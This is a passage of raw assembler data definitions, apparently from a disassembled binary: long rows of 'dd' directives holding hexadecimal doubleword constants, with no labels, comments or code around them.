dd 0F0016427h, 7B115ED7h, 95D04105h, 7F1F01F7h, 0CEC5F354h
dd 0FCC85102h, 1A0399Ah, 0F954443h, 0D5C0F6E4h, 13DE0036h
dd 7EB3750h, 9207D1D7h, 63874E42h, 0DBC7BD21h, 197EC48h
dd 6DDF5CD0h, 0CC939E05h, 6A00041Ah, 0C4F91179h, 0C090A155h
dd 886C9C18h, 0F4543DFCh, 0CF306190h, 7C094804h, 6EDE00CBh
dd 34F95DDAh, 0BC3F3960h, 0A3300240h, 0A2026DB9h, 0C0D1718Ch
dd 61D693h, 0A20A1B8Ah, 153C6235h, 5D174401h, 4C632AB5h
dd 0F12BE4h, 0F0EF0899h, 47C28CD5h, 4D67F301h, 9556FBC1h
dd 329FB2F8h, 6110C462h, 8C8604B7h, 102B64h, 25A8FEEh
dd 0C9708D80h, 3E946C39h, 0CE8900B7h, 0DA32E58Ch, 0CBE00C91h
dd 64280438h, 2FC9E88h, 0F0562D7Bh, 60C0CDDFh, 37781F06h
dd 773C38h, 5EFCC594h, 0E09EC446h, 234A009Ah, 1B6A7FE2h
dd 3B006247h, 7A2CDE76h, 0A09C4Fh, 671582F0h, 25CB1CA1h
dd 40AB6900h, 63B8BBAAh, 7DB50024h, 0FC39A3B3h, 0CB0027B7h
dd 0D2F9C678h, 0F93E618h, 245E19BAh, 0A14538E3h, 3B0CF2B7h
dd 118C7660h, 0F248DF00h, 7E53929Dh, 6B1700F8h, 9BC91D16h
dd 86772B8Ah, 0B8EECD01h, 8DF09150h, 27F5B840h, 19A900C6h
dd 9DE485AFh, 900073B8h, 0D3513D98h, 75710Ch, 0CE811CFBh
dd 0FC9F9663h, 9BEEF701h, 0B3B60965h, 0B613270h, 540CBDF5h
dd 0FC92A000h, 4F3B068Dh, 493A00C2h, 0DC765FAh, 0B66B008Ch
dd 51AC2B6Ah, 910087B3h, 30483D7Bh, 8A1E7Fh, 8B4BB455h
dd 860F5D53h, 35810E1Ch
dd 17C23640h, 0EDDD0B5h, 8FF8084Ch, 0E663F900h, 360025DAh
dd 8AC5B3C3h, 87FD86h, 960B600Eh, 7D177569h, 7B6B7200h
dd 443FAADh, 6C350042h, 1D5F8BD8h, 0B90241F5h, 24223ECEh
dd 0F2204125h, 0FA52C0FEh, 34E01201h, 91CA0080h, 5E298DA0h
dd 83194D3Ah, 84240918h, 0D87BC026h, 0F360761h, 0A09778DAh
dd 72B4BD5Fh, 309B7500h, 4599D97Eh, 1F70F722h, 0FA8407CBh
dd 0E397EB4Eh, 0FDC02AC4h, 93F2E2D3h, 5D055CF8h, 0C6F41856h
dd 8D460EBAh, 0EBC9CAA0h, 0B10084A7h, 19BEED6Ah, 0A6CFF10h
dd 883B3662h, 8A1800ECh, 11E6AE7Fh, 0CD000FFEh, 93E2246Fh
dd 38A745h, 1C0BBC1Bh, 0A8850353h, 0DE30F52Ch, 0ED25103h
dd 3DC3E8FDh, 0E4DF01FAh, 465A331Fh, 9A7887D7h, 75004448h
dd 1D285831h, 0C0F514FBh, 76ABDAE8h, 90082F9h, 0C485D664h
dd 322B20h, 0B8C95CE7h, 0AC574834h, 1901F000h, 4598A61Bh
dd 70FC00F5h, 29856469h, 9424542Bh, 360CE8FAh, 0A6C826h
dd 3E01329Eh, 0D3809627h, 699A200h, 0D6693F1h, 864301EFh
dd 3D6A4450h, 20B3D1DDh, 94904EC9h, 74730900h, 0CB8D7D25h
dd 0B895002Bh, 0F104189Eh, 9005FBA7h, 6048AB1Fh, 0AAA4FC00h
dd 8F15ADh, 342D021Ah, 1CB6CF65h, 8890F300h, 0F5068B7Eh
dd 0EC66F8CCh, 0D4890342h, 449A9656h, 2582701Ch, 19FDD347h
dd 0D806C6A0h, 3B733C54h, 94C83306h, 96188893h, 1BE8CFBBh
dd 138E00EBh, 945E8B55h, 9DFCB0F1h, 0AD8F5F00h, 77C6D8BFh
dd 3B61F76Bh, 3695E8h, 3E7E4027h, 3163852Bh, 0D0004270h
dd 25E5A206h, 3804C04Ch, 5587CC0Ah, 0E046D111h, 92A20317h
dd 4C0A3458h, 0C9ED04C1h, 5881EB5Bh, 7BF866EEh, 864E0FC8h
dd 40A70DDEh, 6008A75Ch, 88226AAFh, 0A2002390h, 4B79EBF3h
dd 1F5FC1h, 71F73F6Ch, 0F2F18641h, 0FD33E203h, 9234583h
dd 5B7F310h, 4AC7B580h, 107B932h, 0C4162E43h, 4CFB7470h
dd 0A50600B1h, 0F2608203h, 0D7076A93h, 8F3C9B19h, 0BEABE8E0h
dd 13060BF3h, 7D00888Ch, 1B71EC0Ah, 57157000h, 9AB52E38h
dd 0C8515875h, 0FB0F8848h, 59403F76h, 17F2CC5Fh, 7A31C607h
dd 60CFFCA7h, 11A282EAh, 30FF00DAh, 6EC65CDCh, 6112FE08h
dd 81E5588h, 0F6944Bh, 70E44D28h, 0BC908Bh, 2D39A277h
dd 8449513Ah, 300D2407h, 63802A78h, 0CA655Ch, 9B9CFE0Ah
dd 98B740FAh, 9E96F3Ch, 677A34h, 44A9DE7Ch, 0F089005Dh
dd 43E28129h, 0A5EE1C96h, 8253991Ch, 955923C1h, 67DC6655h
dd 3E0C01A4h, 26E41E3Ch, 0CC14F44Bh, 8CCB3A00h, 3F097FA5h
dd 118301C0h, 46E63D77h, 1518808Dh, 435FC828h, 0AAEC0002h
dd 8F212738h, 4D00C01Fh, 0D7B330EDh, 0CD157Bh, 398150D4h
dd 780941F2h, 0D8B6CA00h, 1AE25713h, 3282CD0h, 0E7997B8h
dd 8F2044BBh, 3858556Bh, 0F2CED700h, 64375AF0h, 42320113h
dd 0DFA4104h, 2AC22A4h, 625545FBh, 0D67EC08Ah, 0F5DF129Ah
dd 0A5B000FAh, 0BF33CC09h, 5A00849Ah, 5E73FB8h, 1E56A68Dh
dd 47690F43h, 200DC3CBh, 0E404E2B1h, 0BEA20FAh, 8101C871h
dd 0F97BB4ABh, 0A12052BEh, 4DEB00B5h, 94BD70D2h, 75775F35h
dd 0E44B7705h, 43C002A8h, 521986h, 2B6DE572h, 9F01DFCFh
dd 0EE317004h, 0C0C0E4CCh, 137F91h, 241D71D8h, 92DB5CBFh
dd 3FBB032Ch, 0A7D49F0Bh, 3CF05044h, 0E6F172h, 5D96F2AEh
dd 121D7D26h, 7FFED400h, 145F0ECh, 0C49E0068h, 40490480h
dd 0C30082F3h, 5C054FCEh, 989155h, 7A5490D7h, 22E8492Bh
dd 7BE1AB05h, 0C4402DCFh, 9CEE9A6h, 0D7200382h, 7BE2E779h
dd 8A1041F5h, 19A09C9h, 13D02A04h, 7254017h, 75C538C3h
dd 0DBCF90A6h, 0A45E00EFh, 3D71A873h, 263FE823h, 575C002Bh
dd 80D322E6h, 0B8E9C0C9h, 69497104h, 0A8E78E01h, 0C06A0CAEh
dd 0F3C874h, 4F5B225Eh, 30938B10h, 0E173AF18h, 0A36740h
dd 5813BDC2h, 54F8461Eh, 527D5900h, 57EB3B91h, 0C60F0BA6h
dd 0E4A09253h, 8908D2Fh, 0E4CEFB00h, 8F77DB78h, 9C50096h
dd 0AB8813Dh, 6B00E921h, 837BD469h, 53C5F32h, 2A3D4193h
dd 7403BF81h, 0E85272C5h, 7538580h, 3502F686h, 0E6EAB0DEh
dd 0C9038D84h, 0E961ABC5h, 0F5E903FEh, 0DD7827A6h, 0D78314D0h
dd 0BB124000h, 0AF0B2D24h, 0CC8BA1B1h, 6EC1F881h, 0F049C57Bh
dd 6C949AF2h, 0E405961Eh, 0A20287D1h, 410AEC4Fh, 6085EF33h
dd 409F6E9Bh, 0C07EEDD8h, 0DB2412CAh, 1E074A72h, 0CB405D47h
dd 33830297h, 0BA99FC49h, 9A81D3B8h, 0BCA4AEE4h, 0D86D640Ch
dd 746A50B4h, 0A8A33E2Fh, 0A0D5B918h, 0E80C1544h, 30714EC0h
dd 8E8030C3h, 0C2AC81A9h, 8C9B24A1h, 71C8E908h, 0C1374E4Dh
dd 872E0DCCh, 81A8B6B8h, 0C18C0E07h, 54C318B4h, 0D4E0518Bh
dd 0D1CBF40Ch, 50171086h, 164485Fh, 0F9B010FDh, 8E5E6E4Bh
dd 802D7141h, 0FCCD5ADFh, 0CF41E23h, 688FD5B2h, 25024A0Ch
dd 0CA99531h, 0C35885BCh, 680483CAh, 1A5FCED8h, 0C04C84Fh
dd 7A6440D7h, 0AAC806F5h, 1FCC1010h, 4870F5F8h, 24D1508Ch
dd 0BE4C0064h, 9F5CE50Dh, 37705E4h, 0B096D40Ch, 6067400Eh
dd 4D8DA12Ch, 0BC191AE3h, 6D41E6D6h, 8E675043h, 0E4B60029h
dd 0A1A75CEFh, 20C58FA8h, 240A0D4Ah, 0B600C8C1h, 6E9A61B5h
dd 5419C784h, 30A057C8h, 42651FEh, 76C7D51Ch, 67115C44h
dd 90BD04C8h, 0DDB0BD6h, 0B78CB1BBh, 80978319h, 141F5BFAh
dd 548D0F77h, 8A464322h, 0D6F3B19Ah, 99038122h, 0C02C4EA8h
dd 11E7E9C6h, 6569C580h, 6D8B900Fh, 0FF0AE020h, 8CE3ECh
dd 0E4D16462h, 0EF4C69B6h, 0E040806Eh, 9F3BF2D5h, 9C1C33F5h
dd 43D7BC48h, 6100C88Ch, 0ADB25458h, 0E0A15D7h, 0A045D6ABh
dd 68631A22h, 0E09B0040h, 8D8EDE08h, 1BEB8098h, 1FAF1325h
dd 0E17E86F2h, 8EE7BA00h, 0F4F2458h, 0C010205h, 9B598F47h
dd 24F1788Eh, 8C0C581Eh, 4681182h, 482CF8E4h, 8C3C8C6Bh
dd 0A00E8A4h, 2254006h, 7327F18h, 9C6BEAC2h, 0FAD84253h
dd 0D101E4A0h, 8A7F57DDh, 120B5B3Bh, 0D0208F70h, 0A9B266C3h
dd 0F44867ACh, 0D61B008Ch, 0E41A5B1Fh, 710201AFh, 0F98BE242h
dd 985848EDh, 0E96215B1h, 2500C4EBh, 0C235917Ch, 68001202h
dd 51F8E86h, 2620405Dh, 1874ABBAh, 438A98B8h, 24A9D174h
dd 4C1988FDh, 194A9CD4h, 0E4C19160h, 96501C01h, 0D4A8D450h
dd 0AC007310h, 0A055EE81h, 13510729h, 0AB3BF795h, 6356BF02h
dd 67B048B0h, 9141C090h, 0DF9737AEh, 41592200h, 1220453Ah
dd 0CE630013h, 0D974FD35h, 0CCA68E11h, 0EAE9F8A8h, 0B09CA1C7h
dd 0BF3C13A0h, 2AE60159h, 50AC3A4Fh, 52A07194h, 2EC628h
dd 747995F3h, 20713E64h, 0FD465C80h, 18948586h, 5028066Ah
dd 58BB8D42h, 0AA28004Ch, 9343956Ch, 0D21E6F31h, 0E5FEE6F5h
dd 0F0018020h, 631F6659h, 88BCCC50h, 0AC998Dh, 0A3424041h
dd 32A0172h, 0C706802Ah, 0B585EB7Ch, 0B3830C71h, 81F1198Ah
dd 41C10431h, 7434A2BCh, 14BB484Eh, 0AE809F88h, 3F27D023h
dd 1A0005Dh, 0E80F6D5Ah, 0A2002F8Bh, 22BC7F2Eh, 0FA154B8h
dd 0E08F3EBDh, 29EE1098h, 24C308C0h, 776F440h, 0FE7E0C6Ah
dd 0C9233015h, 963B8839h, 22841DC3h, 555FC000h, 1D1F963h
dd 6F662DE9h, 8F23C7CDh, 260A6948h, 78705180h, 5CB3B8B4h
dd 0C3058499h, 80C43BFFh, 4C76D26h, 0CCB478CEh, 226055h
dd 0E06C244h, 0E171FE17h
dd 5C2E1807h, 0E0D30193h, 15B02246h, 699C48h, 659F7F2Fh
dd 3A5639Ah, 70E066EDh, 9107C3A1h, 1634A2FDh, 0CE7F0CC8h
dd 63EA7419h, 0C818CA79h, 6F3014E8h, 94A054CBh, 557B37C4h
dd 9289C368h, 56B55100h, 27D50269h, 12DD4CE4h, 0E5561A27h
dd 90E8F71Dh, 50E37218h, 17EB431h, 762A9B49h, 8AA71794h
dd 0A452F918h, 5D70C440h, 0CC40A154h, 2CEEA18Ch, 3200F3E9h
dd 527AC4C7h, 0BE374ADh, 7D559BA6h, 600D12FEh, 0EC4281Ch
dd 81EF14AFh, 0A33ABC01h, 3C55FF9Ch, 0F06079B3h, 380A7875h
dd 74C413C9h, 8E885910h, 0E4D594h, 13BB35E7h, 0CD5F65h
dd 89A072FEh, 4531B0EEh, 50DE2879h, 3983F6CCh, 1046317Dh
dd 5765B4B9h, 940D70ECh, 0AE281677h, 7D14B0F0h, 22140F48h
dd 29393970h, 87B9F69Ch, 35DC3BEBh, 24C060C6h, 4A005FBEh
dd 0BF43EC45h, 38349032h, 0FF11F3A4h, 7CE11142h, 2D3FF843h
dd 923A0501h, 97B542h, 150AB58h, 73CEE4B2h, 25303516h
dd 7DA46014h, 0E1996E60h, 58E568h, 5331DF82h, 0DE336D95h
dd 0BC0253h, 78FD5DA8h, 50B63h, 46229B24h, 0FF4FB129h
dd 1FB0A654h, 7526188h, 16CA4593h, 0EE5571F3h, 2C8850F0h
dd 0A618EC17h, 89613C85h, 4039DF76h, 65418745h, 283F2E6Ah
dd 15C10272h, 49B2B47Dh, 9420CBA8h, 0D4C749FAh, 7D279507h
dd 1B61BC49h, 52F85C54h, 3D1538h, 0CD63276Eh, 1D1F7303h
dd 406A7770h, 75B689C2h, 820A9AD4h, 8872F2C4h, 3F9D5880h
dd 0F836F04Bh, 1859DF71h, 0CBBB101h, 0B4350600h, 528646B1h
dd 0C266034Eh, 0C3F5AE6Fh, 1863303Ch, 19D92080h, 0F3921CEDh
dd 18A9D55h, 0EB906679h, 7DC850CFh, 69D04450h, 84C701B8h
dd 0C47F0720h, 6348F050h, 0FD16006Eh, 4E65A9C6h, 0CF180309h
dd 0DF99C2BEh, 1F789B46h, 9A09C141h, 0DF1C99AFh, 97CCEBA8h
dd 0CC12C12h, 80833C48h, 9903F3EAh, 5300D41Dh, 431C6470h
dd 3B7E2D29h, 0D509801Bh, 0A80245FFh, 841157A9h, 5FEBD410h
dd 6BD07201h, 326453Fh, 475F9F8h, 0F61B5E64h, 4FA093C9h
dd 0B0E44CA4h, 0A41A4863h, 73EE2F80h, 0D5E34F79h, 3729800Eh
dd 0BDDCCD7Ch, 0A157017h, 0E6D61145h, 94C486B4h, 0F54D4161h
dd 0A06F0C00h, 0C96369C5h, 3C96FC10h, 20534500h, 0E0A19E51h
dd 0ED2800F6h, 0C2F86A7Fh, 68121194h, 84678F3h, 2441D380h
dd 0F74C924h, 0DDA0A06Ah, 0D4685B18h, 8F8A0A00h, 2BC93E87h
dd 4539C9A7h, 0A502C08h, 0A4548290h, 45C56020h, 2B185D64h
dd 9EB02573h, 0E4FA89C6h, 0AD092F04h, 0A453FFBCh, 5C491848h
dd 11CFAC91h, 0EC228EC4h, 4C91F86Eh, 0E772C470h, 42120C9h
dd 3C108ADAh, 0D8458302h, 549278h, 11A0FA28h, 0B7660CB1h
dd 7B717A1Ch, 44CB08F1h, 2D60EE1Bh, 7DB0AD59h, 0AA6107A4h
dd 6082ED0Bh, 0F6B59DF0h, 0DD5FF20Ah, 6F858C80h, 2008D59Fh
dd 0FB27800Fh, 0C64C2446h, 9502BE7Ch, 3E0A586Eh, 0A830C064h
dd 340A167h, 0C0589C4Dh, 5DE00F0h, 0B9FD433h, 5013410Ah
dd 0D0480660h, 4511806Ch, 773F5112h, 33082C98h, 32C28FF6h
dd 0ECA20810h, 0B890F96Fh, 0A9C2F1EEh, 406C01C7h, 92BFFFADh
dd 4A774490h, 0EA1CC802h, 7513151Eh, 0A31AED40h, 0AFCC9C00h
dd 7FAC7666h, 0CAA23474h, 8370C059h, 64B24C5Dh, 22F0BF59h
dd 0BBFC3FC5h, 0C200043Eh, 77856EE1h, 58989171h, 50805744h
dd 524089h, 7E3A45F8h, 44E3AEEFh, 3E17FCE4h, 7206F36Ch
dd 44D1C3FDh, 2404CDFBh, 7FFC4FF2h, 426BBDC2h, 58AC0664h
dd 13716B0h, 0A4AC70A7h, 0D71C7FC4h, 79476972h, 0BB702CE0h
dd 4899AD4Ah, 6092DF0h, 2C3021E1h, 1A078C9Fh, 504261Fh
dd 0C4B55860h, 894C9176h, 800357CDh, 45FD50B9h, 8BE972DCh
dd 0E5A0084h, 1A7EAD65h, 8961C6BBh, 39002951h, 49F5B1AEh
dd 24900866h, 91F0C6EEh, 0D40207EDh, 20EF2811h, 0A7199469h
dd 0BA3E0DBh, 467CFFB9h, 918FD093h, 0C8B2975Dh, 41D63C78h
dd 0C9D8DC10h, 0EDC898B4h, 52CC00F6h, 0E9F27E84h, 5F0069D1h
dd 564D4A78h, 7143746h, 0FFB7D010h, 913980B3h, 2124F3E0h
dd 0FCEE5401h, 0F1A0C902h, 5E709848h, 0F24C0128h, 6F978AB5h
dd 0F7582493h, 50BBC644h, 88DA98FDh, 0EFB0BD1Bh, 0C105D101h
dd 0E63C80BCh, 3B694A80h, 85F51507h, 1268464Dh, 48521452h
dd 5F34D030h, 95E30090h, 0B7B9C7EFh, 58543A8Dh, 2402BF80h
dd 47861D16h, 50586401h, 89BE48F6h, 0C3C912CEh, 5E87F00Ch
dd 79F865B6h, 0C10002Dh, 0DBB6A6Fh, 0BC47AA00h, 69388ABFh
dd 899D232h, 89887280h, 44E78125h, 8047D91Eh, 9569B551h
dd 52457D31h, 5044DC24h, 63CB44A4h, 0D2B72901h, 0A7262AC4h
dd 0A8688C33h, 4A7D41A8h, 2149A5F9h, 0BC36A220h, 4811F062h
dd 58D44DF9h, 2B76C088h, 411EEB9Fh, 208C4C0Bh, 0D9796601h
dd 7194AF49h, 948FE190h, 60A37EC4h, 0C05101CAh, 14B494h
dd 7C206AA3h, 6A17850h, 8814E026h, 6080A8C1h, 0B4881344h
dd 3139C074h, 0E56D0A9Ah, 455F2000h, 0D6B70E89h, 9CE04921h
dd 0F17BAB00h, 2D7DC86Dh, 0D234BB12h, 0A3638040h, 0EACFFED3h
dd 8F099ABh, 1A44D2D5h, 4A588D42h, 33714C60h, 14C0C59h
dd 0BA56B643h, 0D4325350h, 94405A3Ah, 0A107C0FAh, 0D887967Dh
dd 55DCA220h, 0FB0E0742h, 698C12DFh, 0DEBF20A1h, 22A03346h
dd 0A0B507C7h, 92669D52h, 0E89246DAh, 556B70C0h, 0E2132089h
dd 11B79CD8h, 4438334Dh, 7200F364h, 70D48289h, 0E01C8h
dd 0E841C56Ah, 9B40FC71h, 78F5C43Ah, 420086F8h, 0FDB98D15h
dd 3BC5257Eh, 73B036ABh, 3E48D520h, 7C8D60E9h, 1A17E600h
dd 71C2183Ch, 0A8440076h, 8DAAF7DFh, 0D0BD9916h, 2CD1865h
dd 0B6AB60F4h, 0BC3FF636h, 4ED50D71h, 0E050E7C8h, 90D94159h
dd 8866160h, 71327AC0h, 29BC2930h, 0C4D6Fh, 0A29CF981h
dd 272B164Fh, 0BD8952F2h, 0CAA84017h, 7F439F8h, 44704106h
dd 30507959h, 0BF592A49h, 3F0020E2h, 0A858CE99h, 30765A82h
dd 4F989550h, 50A1BBC4h, 8A2FEA35h, 48035CC2h, 1B46D9C0h
dd 19683F51h, 3B56C008h, 0D09148h, 760F5BD3h, 309F6B69h
dd 6A3954C2h, 8088F5DDh, 0A051C642h, 0B2444146h, 0E6CEFAF3h
dd 0BB3F02D1h, 4B6E1F77h, 1282A8A0h, 4605B02Fh, 6CC04752h
dd 77A04C00h, 0F98CCF93h, 0EA301181h, 42D5C24Eh, 0C0BA5770h
dd 0E9C6D002h, 60ED3D20h, 0AC4F8059h, 9B19DF63h, 2B901E1h
dd 60C05285h, 0C91E601Ah, 6ED52500h, 2B83B3D8h, 4BBD33E1h
dd 0D4F24F50h, 0FB5A3C82h, 3C3F2E20h, 5384A4C1h, 3B21ACCBh
dd 0B0BCC130h, 0FC1014Ah, 77323792h, 483898F2h, 88E7C4B8h
dd 8003FB33h, 60E4767Fh, 4980183Ch, 9AD04948h, 78077E7Ah
dd 59D508Ch, 3F55C650h, 8538A037h, 62F8A65Ah, 72C06982h
dd 1A599887h, 0B91D1960h, 0A98909CEh, 42E1545h, 7F568099h
dd 12616A0h, 93523642h, 4CF23016h, 0D345ABB0h, 0A120D0BEh
dd 80CC2E54h, 0A4B46F01h, 5BBDF7B8h, 0C568C48h, 0FD4A46A1h
dd 3563DD39h, 0E0880589h, 1A7D94h, 93BD7039h, 0AD6F78C9h
dd 1D6B7705h, 61C0EE9Ch, 29011167h, 0C4AEA1h, 569390CDh
dd 733ECF4Bh, 0A7D21313h, 3B82D11h, 0DA6B7C67h, 8AE6C8E7h
dd 4C4D3035h, 0E2AFA0F1h, 577B49C0h, 77835DCEh, 853B007Fh
dd 0EA7A72B3h, 0AC73639Dh, 8E05B4ACh, 20A658FBh, 6D46EC20h
dd 42CA01Bh, 912CB8B0h
dd 0C09B0C0Ch, 6005A69h, 35573BF2h, 5461EE1Dh, 484FA051h
dd 5EC4E8C1h, 13C822F2h, 0D4C31111h, 0F0565915h, 489C40D2h
dd 0B9290542h, 525E29C0h, 636ECDEh, 0BAAB9A95h, 0F2017AE5h
dd 481A157Dh, 49804B7Ah, 0AB3323A1h, 0CC00DF2Ah, 26B39B71h
dd 19F459BFh, 28FA069Eh, 46E45746h, 3368795Ch, 9B8CF008h
dd 0A9B1A8h, 3BB0E94Ch, 0F8CB390Ah, 0EF684100h, 0C66EAC15h
dd 4C17492Bh, 3432D412h, 7AF021A8h, 0D29980E9h, 4A92535Ah
dd 0B49554DBh, 0FE7D3078h, 0A15D6721h, 2D924B00h, 0F5063507h
dd 0A46C758Dh, 0E6CE22B0h, 24F8AC4Dh, 0CF64E832h, 0A8323E32h
dd 0B811D08Ch, 0A1C04C4Ch, 0E4951BAAh, 9DE9C900h, 0AF6801D4h
dd 59626299h, 58234175h, 56793ABFh, 54F6D5C4h, 12936D01h
dd 5B4415C1h, 4F4E1981h, 814C7EAAh, 53E05589h, 0F3D035A6h
dd 0D5CA0074h, 8129C694h, 6B1C63D8h, 49999FF2h, 21098379h
dd 0E0D04D2Ch, 6718BF52h, 1E212CE4h, 0CA7A3AB3h, 9E7EDC00h
dd 8CE13097h, 3CAD5616h, 48CB7821h, 0D74F3F10h, 526060A1h
dd 0A0204DD4h, 355F9Ah, 0C92616DDh, 0EBA836ACh, 17609603h
dd 9D9FFF5Bh, 78488853h, 0C500BC31h, 0BBA3A63Bh, 9707C37Dh
dd 0DE5AB71Bh, 55BEFAF3h, 90423CD0h, 891926FBh, 0DC16301h
dd 0F1C0B492h, 68010032h, 67A1089Fh, 82298F5Ch, 80528E71h
dd 0B111DF59h, 0D467CAEh, 0EF935649h, 43FF438h, 0D2EC61D9h
dd 0F2397832h, 0CA008452h, 0D9451075h, 0FD066B0Ch, 1BA500Ah
dd 50435040h, 517A804Ah, 1F3511C0h, 0D20E3Ch, 9EB716BFh
dd 4927870Dh, 382F1C24h, 0B420166Fh, 35C8923Bh, 315168DEh
dd 60FD3DECh, 11CF328h, 0A980DD94h, 74584212h, 0C764D26h
dd 31E32918h, 600F855h, 47215A53h, 0BAEB54h, 91AB2359h
dd 0E3CB73E7h, 0CFBF80A0h, 0FE1061E9h, 81004464h, 2F4DAE86h
dd 1F1EED9Eh, 0EC5051B7h, 0D4560448h, 82FB01F5h, 18064811h
dd 4C25D245h, 234B8C02h, 0E1002D49h, 4BDDE4Ah, 4C9305Eh
dd 0FDC42ED0h, 2204A39Ah, 0FAFE02DCh, 0C9336B46h, 572B7444h
dd 442438E7h, 11DF46h, 0D1100C2Ah, 0F28559E7h, 0AC41093Ah
dd 9E1C377Fh, 9B28F199h, 42006C22h, 0DF4F0466h, 0F35130DEh
dd 2866ECh, 0D8AE689Ch, 45802Fh, 28B3DCC6h, 7EDB2B73h
dd 0ACAFA33Eh, 4CBE7CCFh, 0C00C801Ch, 78E722h, 10DA0685h
dd 0FFA9F419h, 122E3C7Dh, 9704CCA3h, 58884D8Ah, 5A439573h
dd 0A7D67900h, 797419Dh, 8EE0344h, 1DDF67EBh, 0D0C861E9h
dd 47249AD1h, 596154D5h, 4BE84F98h, 0B07B38D4h, 0E45ADA09h
dd 3D0BBC10h, 9B0D1E00h, 63376EBh, 80520097h, 13F4F2FEh
dd 0C1D6B728h, 6BCF5500h, 0BF0589h, 2F108FD8h, 1552AFDFh
dd 48E0EF5Dh, 40AA3AACh, 0F838547Ah, 0C0B4EA8Ch, 5D153322h
dd 1800BA5Ch, 0B2D76845h, 7A2FFADh, 3F560136h, 55080CE1h
dd 88E879C2h, 0EC20E2E0h, 722600B8h, 0C618363Ah, 73016B4Eh
dd 91AC665Ah, 79804677h, 1AE4F6BDh, 0B800EB53h, 6F7A690Eh
dd 0B0AB031h, 94028667h, 0D4AD1022h, 0FC355921h, 4D243036h
dd 0DB9128h, 1F1E991Dh, 1D1AA991h, 4C70EED3h, 0C0385576h
dd 377DF49Ah, 0F87DC98Bh, 0BA22182Dh, 9B65F007h, 0D300CD64h
dd 9A8E7h, 1E921915h, 60E957D8h, 4041A431h, 0BD0831D9h
dd 34A588h, 4636110Eh, 5F102E80h, 0D0BFD032h, 0A8145156h
dd 478320CCh, 5235A000h, 0C11FDC31h, 0A150B1D9h, 0CC3C12E0h
dd 4386C584h, 4AD04157h, 0AC7840B8h, 42778604h, 0AC98FC54h
dd 44970F22h, 64C4C2E7h, 59A891F4h, 1890325Ah, 91912B49h
dd 0E3C3BD1Fh, 0D6A9980h, 50A18865h, 8161408Ah, 804F7D48h
dd 0BEE2F49h, 325ED8h, 30B8AB58h, 3C3B2842h, 0AB48E48h
dd 187A4788h, 4BFC9000h, 1103277h, 0B298F946h, 62CE7061h
dd 506AC880h, 0B8B371C0h, 182C38ACh, 2242758h, 6185B975h
dd 605F7D9Eh, 5D9556D8h, 3457AC3Bh, 0B2B10D00h, 302682A9h
dd 98849F02h, 7497C1h, 282C5C48h, 3A69B160h, 5CA8F4Ch
dd 6DA3173Ch, 0A0D831BDh, 10BFC5AEh, 2CE1F65h, 0DB2197D2h
dd 84A33892h, 3100037Ah, 5EF0415Ch, 32CEDDB4h, 6CE92281h
dd 314DB866h, 0AC22D6F0h, 0C494593Dh, 7A667037h, 4C810034h
dd 312380C4h, 1A2457F4h, 98E0F448h, 76202Ch, 0F8ED63F9h
dd 0F4B17B4Eh, 52440FFh, 0D613ECC9h, 3C7060D2h, 98A626h
dd 0AFE56561h, 2A33AC90h, 8151D239h, 0C534775h, 0F0640742h
dd 3905607Dh, 24349F7Ch, 80E4C600h, 0FF94410Dh, 60CE50C1h
dd 1B68031Ah, 0DE1654EDh, 0D4C07912h, 57BE0431h, 49188C72h
dd 0A26C193Fh, 0E4310800h, 202DD351h, 5B780BD9h, 99B8FDh
dd 0ACB0204Ah, 0C3703DF1h, 0F09E313Dh, 15AD1F0h, 91BD1695h
dd 0F8EB6026h, 2E12DEF1h, 7C82215Ch, 0A4534Ah, 1F483D37h
dd 9C207899h, 17661CB6h, 0EF7C2FFh, 5071C94Fh, 49926829h
dd 9D251890h, 1ED7F438h, 40BEEB77h, 0F09F7299h, 78930BD4h
dd 6004D93h, 0D3B6D274h, 2865018Eh, 41B9EDCEh, 40F18329h
dd 0A0865A4Fh, 1979D74h, 8064FADFh, 0F88AD514h, 0F0B14B66h
dd 7A902C29h, 0AEE54FC8h, 17718C8h, 240BC06Bh, 0F0BFE4CFh
dd 474DCD26h, 9A0CC0C4h, 5176C8h, 7727A4C5h, 25E58C67h
dd 91A22E02h, 0EC0D965Bh, 605D4A64h, 0C95A4640h, 4851CE64h
dd 2E6AB8C0h, 90B13FB0h, 92C0DCCDh, 390E8DB3h, 24EEBA01h
dd 0A2CE3E1Eh, 0E2FC9805h, 0E9ED2116h, 0B6010C99h, 1DFCC74Bh
dd 5DC2022Ch, 0D5BEA1F1h, 0A300ACEEh, 2587CB2h, 9FC26A44h
dd 274EA778h, 1A9AD440h, 1F31488h, 0DBD8FFFh, 63F5F230h
dd 9C6A2560h, 25534690h, 296C8459h, 0D560E4h, 9B4EC0E3h
dd 196DEE61h, 549C7E54h, 0A4565044h, 7BFB3D24h, 0AB81A333h
dd 0FCCF5122h, 399A099Eh, 30240962h, 0E02B4FC2h, 24AABC4Ah
dd 0D07E0021h, 0D5B1366Eh, 0A312707Bh, 84431595h, 0D62956h
dd 39B41251h, 2D8BDA44h, 0E4757A04h, 5CA40ABCh, 0BF609C54h
dd 1D87245Ch, 0CE2E905Bh, 8E1CBD4Dh, 0B28047C1h, 186EBC07h
dd 4901F7D4h, 4B8C5030h, 42038F61h, 0F5F7CB95h, 430AA834h
dd 84E20288h, 932A10C5h, 98C4F86Ah, 3031AF00h, 33F5B5E3h
dd 90ECF0h, 82B1A442h, 654C17BCh, 0E4B17FE4h, 0A5D19584h
dd 0C000C0B2h, 4A2B4EAEh, 7400F186h, 3D4B7218h, 706CA4C4h
dd 0A838F444h, 0A8DE9BB4h, 789C99A4h, 191D09EBh, 0EC80237Fh
dd 0BD7667A0h, 6CC6CE1Ch, 44CF18CBh, 7B630264h, 0C15157BCh
dd 10821866h, 112D58C1h, 2A10D628h, 8C02E252h, 1B41CA53h
dd 84408E91h, 0DC809A8Dh, 151EC1h, 0E1D74553h, 46A6C544h
dd 41BCF1C3h, 64E900FDh, 7F8698ABh, 0DB2CB20Fh, 84491CF1h
dd 3157A734h, 0E828E984h, 0FE02035Fh, 0FD9CBDF1h, 22707205h
dd 1500416Ch, 6D7D8C49h, 91E4668Ah, 247401C8h, 8993373Ah
dd 16323F91h, 90165814h, 0FBE2D400h, 0C1DBE1C3h, 0E34F211Fh
dd 73D4601Fh, 80A84998h, 17042811h, 9A96005Eh, 0ADC66BD7h
dd 2C24B783h, 56889C45h, 0C34F89E9h, 4A064ECh, 0C016325Ch
dd 90C8A39Ch, 0FCAA0567h, 0B6478E82h, 636B00D4h, 6FAF86CFh
dd 4FB80BDBh, 4C4837Ch, 0D52C8780h, 0DC191B76h, 0E341682Eh
